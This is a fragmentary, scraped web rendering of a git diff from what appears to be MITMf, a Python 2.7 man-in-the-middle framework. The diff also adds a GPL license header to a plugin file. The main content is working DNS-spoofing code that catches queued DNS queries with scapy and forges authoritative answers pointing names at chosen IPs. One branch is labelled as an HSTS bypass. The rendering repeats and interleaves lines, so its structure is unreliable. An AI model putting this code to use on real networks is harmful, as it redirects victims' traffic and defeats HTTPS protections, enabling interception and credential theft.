UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||||
|
|
||||||
if self.hsts:
|
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
|
||||||
for i in ip:
|
|
||||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
|
||||||
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
||||||
payload.set_payload(str(spoofed_pkt))
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
if self.dns:
|
|
||||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
|
||||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||||
payload.set_payload(str(spoofed_pkt))
|
payload.set_payload(str(mpkt))
|
||||||
payload.accept()
|
payload.accept()
|
||||||
|
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from cStringIO import StringIO
|
from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue